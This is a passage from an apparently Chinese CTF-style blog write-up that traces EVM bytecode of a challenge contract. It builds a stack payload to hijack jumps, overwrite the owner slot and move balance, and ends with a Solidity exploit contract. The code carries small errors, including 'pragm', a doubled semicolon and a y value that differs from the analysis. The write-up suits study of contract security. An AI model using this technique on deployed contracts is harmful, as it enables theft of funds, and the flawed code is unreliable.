0000000000000000000000000000000000000000000000000000000000000000//var6 = back5
0000000000000000000000000000000000000000000000000000000000000000//var7 = back6
0000000000000000000000000000000000000000000000000000000000001563//var6 = back7:下一个位点
0000000000000000000000000000000000000000000000000000000000000000//var7 = value = 0
0000000000000000000000000000000000000000000000000000000000000000//var6 = y = 0
000000000000000000000000DA0bab807633f07f013f94DD0E6A4F96F8742B53//var7 = akey=address(setup)
0000000000000000000000000000000000000000000000000000000000000000//var6 = x = 0
0000000000000000000000000000000000000000000000000000000000000000//var7 = jumpBack

现在我们已经完成了条件2,3,针对条件1,我们在之前的分析中只是将0xdeadbeaf存入了slot[0x06]中,但是owner对应的插槽是slot[0x05]。这里我们找到0C4A

label_0C4A:
    0C4A    5B  JUMPDEST    jumpBack
    0C4B    60  PUSH1 0x06  jumpBack    0x06
    0C4D    60  PUSH1 0x00  jumpBack    0x06 0x00
    0C4F    90  SWAP1       jumpBack    0x00 0x06
    0C50    54  SLOAD       jumpBack    0x00 s[06]
    0C51    90  SWAP1       jumpBack    s[06] 0x00
    0C52    61  PUSH2 0x0100    jumpBack    s[06] 0x00 0x0100
    0C55    0A  EXP             jumpBack    s[06] 1
    0C56    90  SWAP1           jumpBack    1 s[06]
    0C57    04  DIV             jumpBack    s[06]
    0C58    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
                                jumpBack    s[06] 0xff..
    0C6D    16  AND             jumpBack    s[06]
    0C6E    60  PUSH1 0x05      jumpBack    s[06] 0x05
    0C70    60  PUSH1 0x01      jumpBack    s[06] 0x05 0x01
    0C72    61  PUSH2 0x0100    jumpBack    s[06] 0x05 0x01 0x0100
    0C75    0A  EXP             jumpBack    s[06] 0x05 0x0100
    0C76    81  DUP2            jumpBack    s[06] 0x05 0x0100 0x05
    0C77    54  SLOAD           jumpBack    s[06] 0x05 0x0100 s[05]
    0C78    81  DUP2            jumpBack    s[06] 0x05 0x0100 s[05] 0x0100
    0C79    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
                                jumpBack    s[06] 0x05 0x0100 s[05] 0x0100 0xff..
    0C8E    02  MUL             jumpBack    s[06] 0x05 0x0100 s[05] 0xff..00
    0C8F    19  NOT             jumpBack    s[06] 0x05 0x0100 s[05] 0x1111..ff
    0C90    16  AND             jumpBack    s[06] 0x05 0x0100 s[05][:2]
    0C91    90  SWAP1           jumpBack    s[06] 0x05 s[05][:2] 0x0100 
    0C92    83  DUP4            jumpBack    s[06] 0x05 s[05][:2] 0x0100 s[06]
    0C93    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
                                jumpBack    s[06] 0x05 s[05][:2] 0x0100 s[06] 0xff
    0CA8    16  AND             jumpBack    s[06] 0x05 s[05][:2] 0x0100 s[06]
    0CA9    02  MUL             jumpBack    s[06] 0x05 s[05][:2] s[06]00
    0CAA    17  OR              jumpBack    s[06] 0x05 s[06]xx
    0CAB    90  SWAP1           jumpBack    s[06] s[06]xx 0x05 
    0CAC    55  SSTORE          jumpBack    s[06]
    0CAD    50  POP             jumpBack
    0CAE    60  PUSH1 0x00      jumpBack    0x00
    0CB0    60  PUSH1 0x06      jumpBack    0x00 0x06
    0CB2    60  PUSH1 0x00      jumpBack    0x00 0x06 0x00
    0CB4    61  PUSH2 0x0100    jumpBack    0x00 0x06 0x00 0x0100
    0CB7    0A  EXP             jumpBack    0x00 0x06 0x01
    0CB8    81  DUP2            jumpBack    0x00 0x06 0x01 0x06
    0CB9    54  SLOAD           jumpBack    0x00 0x06 0x01 s[06]
    0CBA    81  DUP2            jumpBack    0x00 0x06 0x01 s[06] 0x06
    0CBB    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
                                jumpBack    0x00 0x06 0x01 s[06] 0x06 0xff
    0CD0    02  MUL             jumpBack    0x00 0x06 0x01 s[06] 0x06..
    0CD1    19  NOT             jumpBack    0x00 0x06 0x01 s[06] 0xff06..
    0CD2    16  AND             
    0CD3    90  SWAP1
    0CD4    83  DUP4
    0CD5    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
    0CEA    16  AND
    0CEB    02  MUL
    0CEC    17  OR
    0CED    90  SWAP1
    0CEE    55  SSTORE
    0CEF    50  POP
    0CF0    56  *JUMP

=>
function label_0C4A(uint jumpBack) internal {
    owner = newOwenr;
    assembly{
        jump(jumpBack)
    }
}

我们可以知道我们需要的栈应该是:

000000000000000000000000deaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD//var6 = deadbeaf
000000000000000000000000000000000000000000000000000000000000191B//var7 = jumpback
000000000000000000000000000000000000000000000002b5e3af16b1880004//var6 = balance
0000000000000000000000000000000000000000000000000000000000000000//var7 = addr任意
0000000000000000000000000000000000000000000000000000000000000000//var6 = back1
0000000000000000000000000000000000000000000000000000000000000000//var7 = back2
0000000000000000000000000000000000000000000000000000000000000001//var6 = back3
0000000000000000000000000000000000000000000000000000000000000000//var7 = back4
0000000000000000000000000000000000000000000000000000000000000000//var6 = back5
0000000000000000000000000000000000000000000000000000000000000000//var7 = back6
0000000000000000000000000000000000000000000000000000000000001563//var6 = back7:下一个位点
0000000000000000000000000000000000000000000000000000000000000000//var7 = value = 0
0000000000000000000000000000000000000000000000000000000000000000//var6 = y = 0
000000000000000000000000DA0bab807633f07f013f94DD0E6A4F96F8742B53//var7 = akey=address(setup)
0000000000000000000000000000000000000000000000000000000000000000//var6 = x = 0
0000000000000000000000000000000000000000000000000000000000000C4A//var7 = jumpBack
0000000000000000000000000000000000000000000000000000000000000000//var6 = exit
0000000000000000000000000000000000000000000000000000000000000C4A//var7 = UNKNOW

执行完毕

我们的堆栈在这里已经满足了所有的三个条件,现在需要执行完毕,退出。

label_0366:
    // Incoming return from call to 0x0350 at 0x034B
    0366    5B  JUMPDEST
    0367    00  *STOP

故我们的堆栈最后为:

000000000000000000000000deaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD//var6 = deadbeaf
000000000000000000000000000000000000000000000000000000000000191B//var7 = jumpback
000000000000000000000000000000000000000000000002b5e3af16b1880004//var6 = balance
0000000000000000000000000000000000000000000000000000000000000000//var7 = addr任意
0000000000000000000000000000000000000000000000000000000000000000//var6 = back1
0000000000000000000000000000000000000000000000000000000000000000//var7 = back2
0000000000000000000000000000000000000000000000000000000000000001//var6 = back3
0000000000000000000000000000000000000000000000000000000000000000//var7 = back4
0000000000000000000000000000000000000000000000000000000000000000//var6 = back5
0000000000000000000000000000000000000000000000000000000000000000//var7 = back6
0000000000000000000000000000000000000000000000000000000000001563//var6 = back7:下一个位点
0000000000000000000000000000000000000000000000000000000000000000//var7 = value = 0
0000000000000000000000000000000000000000000000000000000000000000//var6 = y = 0
000000000000000000000000DA0bab807633f07f013f94DD0E6A4F96F8742B53//var7 = akey=address(setup)
0000000000000000000000000000000000000000000000000000000000000000//var6 = x = 0
0000000000000000000000000000000000000000000000000000000000000C4A//var7 = jumpBack
0000000000000000000000000000000000000000000000000000000000000366//var6 = exit
0000000000000000000000000000000000000000000000000000000000000000//var7 = Not Use

合约整理

在上面的分析中,我们已经知道了破解所需要的步骤,现在将其整理出来:

pragm solidity ^0.7.0;
import "./Setup.sol";
contract Exploit {
    Setup public setup;
    ChallengeInterface public challenge;
    bytes32[] public payload;
    constructor(address _setup) public payable{
        setup = Setup(_setup);
        challenge = setup.challenge();
    }
    function preHack() public {
        (bool success, ) = challenge.call(abi.encodeWithSelector(0x27f83350,0x19FC));
        require(success,"Exploit/prehack failed");
    }
    function wrapIntoStack(bytes32 a, bytes32 b) internal {
        uint len = payload.length / 4;
        payload.push(
            hex'00000000000000000000000000000000000000000000000000000000000019FC');
        uint offset = 4 + 32*4*len;
        payload.push(bytes32(offset));
        payload.push(a);
        payload.push(b);
    }
    function hack() public {
        preHack();
        payload.push(bytes32(uint(4)));
        bytes32 task1_deadbeaf = 
            hex'000000000000000000000000deaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD';
        bytes32 task1_jumpback = 
            hex'000000000000000000000000000000000000000000000000000000000000191B';
        wrapIntoStack(task1_deadbeaf, task1_jumpback);
        bytes32 task2_balance = 
            hex'000000000000000000000000000000000000000000000002b5e3af16b1880004';
        bytes32 task2_addr = bytes32(uint256(uint160(address(msg.sender))));
        wrapIntoStack(task2_balance, task2_addr);
        bytes32 task3_back1 = 
            hex'0000000000000000000000000000000000000000000000000000000000000000';
        bytes32 task3_back2 = 
            hex'0000000000000000000000000000000000000000000000000000000000000000';
        bytes32 task3_back3 = 
            hex'0000000000000000000000000000000000000000000000000000000000000001';
        bytes32 task3_back4 = 
            hex'0000000000000000000000000000000000000000000000000000000000000000';
        bytes32 task3_back5 = 
            hex'0000000000000000000000000000000000000000000000000000000000000000';
        bytes32 task3_back6 = 
            hex'0000000000000000000000000000000000000000000000000000000000000000';
        wrapIntoStack(task3_back1, task3_back2);
        wrapIntoStack(task3_back3, task3_back4);
        wrapIntoStack(task3_back5, task3_back6);
        bytes32 task4_back7 = 
            hex'0000000000000000000000000000000000000000000000000000000000001563';
        bytes32 task4_value = 
            hex'0000000000000000000000000000000000000000000000000000000000000000';
        wrapIntoStack(task4_back7, task4_value);
        bytes32 task4_y = 
            hex'0000000000000000000000000000000000000000000000000000000000001563';
        bytes32 task4_setup_addr = bytes32(uint256(uint160(address(setup))));;
        wrapIntoStack(task4_y, task4_setup_addr);
        bytes32 task4_x = 
            hex'0000000000000000000000000000000000000000000000000000000000000000';
        bytes32 task4_jumpBack = 
            hex'0000000000000000000000000000000000000000000000000000000000000C4A';
        wrapIntoStack(task4_x, task4_jumpBack);
        bytes32 task5_exit = 
            hex'0000000000000000000000000000000000000000000000000000000000000366';
        bytes32 task5_Unused = 
            hex'0000000000000000000000000000000000000000000000000000000000000000';
        wrapIntoStack(task5_exit, task5_Unused);
        (bool success, ) = challenge.call{value:0x04}(abi.encodeWithSignature("buyTokens()",payload));
        console.log(payload);
        require(success, "Exploit/hack failed");

    }
}

本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

  • 发表于 2021-08-15 23:49
  • 阅读 ( 451 )
  • 学分 ( 10 )
  • 分类:智能合约

评论